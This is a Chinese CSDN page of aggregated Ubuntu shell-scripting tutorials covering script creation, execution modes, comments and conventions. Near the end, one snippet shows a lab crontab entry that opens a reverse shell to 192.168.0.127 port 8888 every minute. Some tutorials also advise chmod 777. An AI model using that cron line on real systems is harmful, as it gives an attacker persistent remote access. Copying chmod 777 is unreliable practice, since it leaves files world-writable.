ubuntu 书写shell脚本_ubuntu shell脚本 - CSDN
精华内容
参与话题
  • Ubuntu 编写简单的脚本

    万次阅读 2017-08-18 18:01:58
    1、创建一个文件用于存放脚本 mkdir shellPackage 2、创建一个空的文件 toudh myShell 3、编辑文件 我使用的是gedit,也可以使用VIM,这个我不太熟 gedit myShell 4、第一行 #!/bin/bash 5、输入命令 例1、我这里...

    1、创建一个文件用于存放脚本

    mkdir shellPackage

    2、创建一个空的文件

    toudh myShell

    3、编辑文件 我使用的是gedit,也可以使用VIM,这个我不太熟

    gedit myShell

    4、第一行

    #!/bin/bash

    5、输入命令

    例1、我这里输入一个用chrome浏览器打开网易云音乐

    google-chrome --app=http://music.163.com/ 

    例2、打开android studio

    sudo su 
    cd /
    cd opt/android-studio/bin
    sudo ./studio.sh

    首先获取权限

    进入根目录

    进入bin目录

    打开android studio

    6、第一次先运行


    //这里使用的的是+x,之前写成了-x

    chmod +x fileName

    7、 然后运行

    ./fileName    

    展开全文
  • 现在有一个现实的场景: 每一次打开Linux,都是在 目录下;...那么如果应用到Shell脚本,把这个指令写入脚本,再执行它不就可以了吗? 试一试就知道了,见名知意,我把该脚本命名为goto.sh: ...

    现在有一个现实的场景:
    每一次打开Linux,都是在 这里写图片描述目录下;

    我最近想练习网络的代码,所以创建了一个目录,路径为:
    这里写图片描述
    可以看到,这个路径很长,如果没一次都通过cd /home/admin/linex/internet/practice,那太麻烦了!

    那么如果应用到Shell脚本,把这个指令写入脚本,再执行它不就可以了吗?
    试一试就知道了,见名知意,我把该脚本命名为goto.sh:
    这里写图片描述
    接下来执行它:
    这里写图片描述
    发现并没有进入指定路径,因为Shell会fork一个子进程,子进程通过exec执行程序,具体细节我在之前有讲到,附链接:https://blog.csdn.net/han8040laixin/article/details/81141566

    那么有没有什么指令,能够让父bash亲自执行呢?
    答案是有的,用 . 或 source 修饰脚本就可以!
    这里写图片描述
    可以看到,当我用source修饰脚本时,路径发生了改变,父bash亲自执行了命令。

    接下来只要把goto文件放入path中,直接执行source goto,就可以进入指定路径了:
    这里写图片描述

    现在不论是在那个目录下,都可以快速进入指定的目录。
    这里写图片描述

    展开全文
  • 自动化与运维可以做什么 消除无效率 - 运维工作的手动工作,如果可以实现自动化,将显著提升效率水平。 减少错误 - 即使最谨慎的人,也会犯错,尤其是面对着重复性工作。通过运维自动化工具来完成这样的工作,...

    自动化与运维可以做什么

    消除无效率 - 运维工作的手动工作,如果可以实现自动化,将显著提升效率水平。

    减少错误 - 即使最谨慎的人,也会犯错,尤其是面对着重复性工作。通过运维自动化工具来完成这样的工作,结果是显而易见的,错误率将大大降低。

    最大化员工使用 - 通过运维自动化,运维专家们的经历可以集中在更复杂、更有战略意义的业务问题上。同时也降低了雇佣更多员工来应对工作量增加的需求。同样一批人,有自动化运维,就有更大的能量来创造价值。

    提高满意度水平 - 自动化运维工具帮助IT运维,为内部和外部客户提供高水平支持。无论是通过提供自助服务选项,还是大幅缩短时间(最多达90%)来减少联系和等待服务台的需求,自动化运维让我们可以更好得拥抱SLA。

    降低成本 - 系统中断、人为错误、重复工作,会导致不菲的费用和代价,而自动化运维几乎可以将这些成本完全消除。

    为了获得最佳的结果,运维应该将自动化最为其“最佳实践”的一部分,尽可能多的实施自动化流程。除了成本和费用上的减少,无数例子证明,其业务敏捷性和整体服务提供也将呈指数级增长。

    以上部分来自https://blog.csdn.net/zyqduron/article/details/77744793

    运维人员眼中的运维
    这里写图片描述

    自动化运维的好处是如此之明显,而自动化运维的实现基础便是shell

    一、shell简介

    1、什么是shell

    shell的定义: 在计算机科学中,Shell就是一个命令解释器。
    shell是位于操作系统和应用程序之间,是他们二者最主要的接口,shell负责把应用程序的输入命令信息解释给操作系统,将操作系统指令处理后的结果解释给应用程序。
    这里写图片描述
    总结:一句话,shell就是在操作系统和应用程序之间的一个命令翻译工具

    2、shell的分类

    基本上shell分两大类:图形界面shell和命令行shell 
    图形界面shell:图形界面shell就是我们常说的桌面  
    命令行式shell:

    • windows系统: cmd.exe 命令提示字符
    • linux系统: sh / csh / ksh / bash / …

    我们常说的shell是命令行式的shell,在工作中常用的是linux系统下的bash
    这里写图片描述

    3、查看系统的shell信息

    • 查看当前系统的shell类型
    python@ubuntu:~$ echo $SHELL
    /bin/bash
    
    
    • 查看当前系统环境支持的shell
    python@ubuntu:~$ cat /etc/shells
    /bin/sh
    /bin/dash
    /bin/bash
    /bin/rbash
    

    4、shell脚本介绍

    shell使用方式

    • 手工方式:手工敲击键盘,在shell的命令行输入命令,按Enter后,执行通过键盘输入的命令,然后shell返回并显示命令执行的结果, 逐行输入命令、逐行进行确认执行
    • 脚本方式: 就是说我们把手工执行的命令a,写到一个脚本文件b中,然后通过执行脚本b,达到执行命令a的效果.
    • shell脚本定义: 当可执行的Linux命令或语句不在命令行状态下执行,而是通过一个文件执行时,我们将这个文件为shell脚本。

    5、shell脚本示例

    创建临时shell脚本文件 hello.sh

    python@ubuntu:~/Desktop$ gedit hello.sh
    

    在文件中写入

    #!/bin/bash
    
    echo "hello world"
    

    输出结果:成功得在终端中输出hello world

    python@ubuntu:~/Desktop$ ./hello.sh 
    hello world
    
    

    二、shell基础知识

    1 shell脚本

    1.1 创建脚本

    脚本创建工具:

    • 创建脚本的常见编辑器是 vi/vim

    脚本命名:

    • shell脚本的命名简单来说就是要有意义,方便我们通过脚本名,来知道这个文件是干什么用的

    脚本内容:

    • 各种可以执行的命令

    注释内容:

    • 单行注释:
      除了首行的#不是注释外,其他所有行内容,只要首个字符是#,那么就表示该行是注释
    #!/bin/bash
    echo '1'
    # echo '2'           # 这一行就表示注释
    echo '3'
    
    • 多行注释
      多行注释有两种方法::<<字符 ... 字符
      解释一下,首先":“在shell中的意思"什么都不做”,而>>符号代表重定向,用字符作为边界,合起来就是表示"这个边界内的内容什么都不做",作为边界的字符可以说字母和特殊字符,但是通常为了不和注释中的内容混淆,都以特殊字符作为边界
    #!/bin/bash
    echo '1'
    :<<! echo '2'
    echo '3'
    echo '4'
    !
    echo '5'
    

    1.2 脚本执行

    Shell脚本的执行通常可以采用以下几种方式

    # 1、使用bash执行
    bash /path/to/script-name  或   
    /bin/bash /path/to/script-name    (强烈推荐使用) 或
    # 2、脚本文件具有可执行权限的自己执行
    /path/to/script-name   或 
    ./script-name    (当前路径下执行脚本)
    # 3、使用source或者.点号,加载shell脚本文件内容,使shell脚本内容环境和当前用户环境一致
    source script-name  或 
    . script-name    (注意“.“点号后面有空格)
    

    注意:source或者.点号与其他执行方式的比较
    1、source或者.点号执行方式不会开启子进程

      test.sh 脚本内容如下:
      #!/bin/bash
      ps
    
      终端执行命令如下:
      python@ubuntu:~/Desktop$ ps  # 返回当前终端运行的进程
       PID TTY          TIME CMD
      34863 pts/1    00:00:00 bash  # 当前终端开启的bash进程
      34891 pts/1    00:00:00 ps
      python@ubuntu:~/Desktop$ bash test.sh  # 第一种方法
       PID TTY          TIME CMD
      34863 pts/1    00:00:00 bash  # 当前终端开启的bash进程
      34894 pts/1    00:00:00 bash  # 执行bash test.sh命令时开启了一个子进程
      34895 pts/1    00:00:00 ps
      python@ubuntu:~/Desktop$ source test.sh  # 第三种方法
       PID TTY          TIME CMD
      34863 pts/1    00:00:00 bash  # 只有当前终端开启的bash进程,执行
      34900 pts/1    00:00:00 ps
    

    2、source或者.点号执行方式能共享当前终端定义的变量

      test.sh 脚本内容如下:
      #!/bin/bash
      echo $user
    
      终端执行命令如下:
      python@ubuntu:~/Desktop$ user=python  # 当前终端定义变量
      python@ubuntu:~/Desktop$ echo $user  # 打印变量
      python
      python@ubuntu:~/Desktop$ bash test.sh  # 使用bash方式会开子进程,不能使用当前终端定义的变量
    
      python@ubuntu:~/Desktop$ source test.sh # 使用source方式不会开子进程,能使用当前终端定义的变量
      python
    

    1.3 脚本开发规范

    (1)脚本命名要有意义,文件后缀是.sh

    (2)脚本文件首行是而且必须是脚本解释器

    #!/bin/bash
    

    (3)脚本文件解释器后面要有脚本的基本信息等内容

    (4)脚本文件中尽量不用中文注释

    • 尽量用英文注释,防止本机或切换系统环境后中文乱码的困扰
    • 常见的注释信息:脚本名称、脚本功能描述、脚本版本、脚本作者、联系方式等

    (5)脚本文件常见执行方式:bash 脚本名

    (6)脚本内容执行:从上到下,依次执行

    (7)代码书写优秀习惯

    • 成对内容的一次性写出来,防止遗漏。
      如:()、{}、[]、’’、``、""
    • []中括号两端要有空格,书写时即可留出空格[ ],然后再退格书写内容
    • 流程控制语句一次性书写完,再添加内容

    (8)通过缩进让代码易读(即该有空格的地方就要有空格)

    展开全文
  • Linux下批处理文件编写

    万次阅读 2010-04-22 23:03:00
    (1)linux下的批处理文件,基本就是shell脚本文件。1.一个最简单的脚本书写方法为:新建一个文件,名字为clean(自己定义的名字),在里面编写rm -fv *.o;ls -al;(可以写一些shell普通命令,命令用分号隔开) 2.执行...
    (1)
    linux下的批处理文件,基本就是shell脚本文件。
    1.一个最简单的脚本书写方法为:
    新建一个文件,名字为clean(自己定义的名字),在里面编写
    rm -fv *.o;ls -al;
    (可以写一些shell普通命令,命令用分号隔开)
     
    2.执行方法

    (1)在控制台输入:

       sh clean

    (2)先给与脚本可执行权限:
      chmod 777 clean
      然后直接执行:
      ./clean
     
    其他功能以后陆续添加。。。。
     
    (2)
    linux下的批处理文件,基本就是shell脚本文件。
    一个最简单的脚本书写方法为:
    1、新建一个文件,名字为test(自己定义的名字)
    nano test.sh
    2、在里面编写脚本
                程序必须以下面的行开始(必须方在文件的第一行):
                #!/bin/sh
                  符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。
    (能写一些shell普通命令,命令用分号隔开)
    例子:
    #! /bin/bash
    # shutdown pc
    sudo shutdown +1

    3.执行方法
    (1)在控制台输入命令执行:
       sh test.sh

    (2)先给脚本可执行权限,双击执行:
    右键此文件,选择属性->权限,最下方会有一个“允许以程序执行文件”,将这一项勾选,就可以了。
    或在命令行下附予权限:
            chmod 777 test.sh
    或: chmod +x test.sh
     
     
    展开全文
  • Linux 编写一个简单的Shell脚本

    万次阅读 2018-11-16 22:34:21
    如果我们想让shell 来完成更多的工作,通过把我们的工具一起放置到我们自己设计的程序中,然后shell 就会自己来执行这些复杂的任务序列。通过编写shell 脚本,我们让shell 来做这些事情。 什么是shell 脚本  最...
  • Linux之shell以及bash、dash的详解

    万次阅读 2018-07-17 15:55:18
    Linux之shell、sh、bash、dash详解 首先,我们先借用两张图来简单概括一下Linux系统的结构: 好的,下面我们来分别来解释其中的一些概念和作用: ShellShell script 何为linux的shell? 人们总是...
  • 在linux随然有很多的可以调试的bash的工具,但是如果不用ubuntu或者其它linux系的桌面系统,只有命令行的情况下,还是很吃力的,当然了,大神级别可以畅快的书写并调试,但是对于我等小白(空格多一个少一个),只能...
  • shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 shell 变量 $? 中。当 $? == 0 时,表示执行成功;当 $? == 1 时,表示执行失败。  有时候,下一条命令依赖前一条命令是否执行成功。如:在成功...
  • Ubuntu计划任务反弹shell

    千次阅读 2018-08-19 13:46:53
    1.被攻击者:Ubuntu 192.168.0.8 2.攻击者:kali 192.168.0.127   首先第一步在Ubuntu系统下添加crontab 计划任务 * * * * * bash -i &gt;&amp; /etc/tcp/192.168.0.127/8888 0&gt;&amp;1 ...
  • 想是不是可以编写一个自动化脚本,每次开机自己执行—— 以上,便是我写本文的初衷。希望看到本文的有缘人,如果和我有一样困扰读后能有所帮助。 方法一:写 profile 文件 先科普下 L...
  • 第一部分: shell: 第一章: shell快速入门: 一、运维简介: 1.运维简介以及企业中的那些事: 2、简单的运维知识 规划: 需要多少资源来支持项目的运行; 管理: 项目运行过程中的所有内容都管理起来; 流程规范: 所有操作...
  • ubuntu系统创建定时任务--crontab

    万次阅读 2018-07-26 14:20:11
    Ubuntu server 下,cron是被默认安装并启动的。通过/etc/crontab文件,可以看到以下内容: ununtu 通过调用 run-parts 命令,定时运行四个目录下的所有脚本。 1)/etc/cron.hourly,目录下的脚本会每个小时让...
  • shell 编程 错误 [: missing ]

    千次阅读 2014-01-14 16:43:39
    想学习脚本编程,就看着书写了一个 #!/bin/sh #test whether the file exists filename=$1 if [ -x "$filename"] then  echo "$filename exists." else  echo "$filename doesn't exist." fi exit 保存为fil
  • .sh可执行文件编写与权限与运行

    千次阅读 2017-08-31 10:55:18
    shell 脚本就是一个包含一系列命令的文件。shell 读取这个文件,然后执行 文件中的所有命令,就好像这些命令已经直接被输入到了命令行中一样。 Shell 有些独特,因为它不仅是一个功能强大的命令行接口,也是一个...
  • 先写了测试脚本,在/usr下,trans.sh gedit /etc/init.d/rc.local 在最后加上脚本的地址就OK了 ②定时运行脚本: 以下部分转自:http://hi.baidu.com/michaelxdt/item/a8e4fec22a59867388ad9e62 cron,...
  •   ...今天,博主在参考了网上的一些资源后,为大家提供了两个十分简便的脚本,可以轻松解决上述问题。 一.同步文件/目录脚本(xsync) 将文件或目录同步到集群的其他节点 在使用之前,所有...
  • Matlab 独立运行程序编译(Linux)

    千次阅读 2015-03-23 14:01:29
    matlab独立运行程序的简单编译方式,简单的用法和大家分享。
  • Linux-浅谈 module-environment

    千次阅读 2018-09-26 17:00:49
    好累呀 ... module-environment   安装 ...sudo apt-get install environment-...根据默认的安装目录【在/usr/share/module】的init文件夹下中放了在各种系统下初始化这个程序的脚本,运行 source /usr/share...
  • openwrt shell 变量运算

    千次阅读 2016-11-25 14:55:57
    openwrt shell只支持ash,linux ubuntu 下默认的解释器是bash, 所以在linux ubuntu下运行成功的shell文件在openwrt运行不了是很正常的一件事。 openwrt 下变量运算: 变量A=`expr $变量 + 4` 必须严格按照上述...
  • ubuntu 使用cron设置定时启动任务

    万次阅读 2015-09-06 12:05:54
    Ubuntu server 下,cron是被默认安装并启动的;如果没有启动,自行设置并启动(chkconfig\sysv-rc-conf)。 通过其配置文件 /etc/crontab 可以看到以下内容: ununtu 通过调用 run-parts 命令,定时运行四个目录下...
1 2 3 4 5 ... 20
收藏数 1,658
精华内容 663
关键字:

ubuntu 书写shell脚本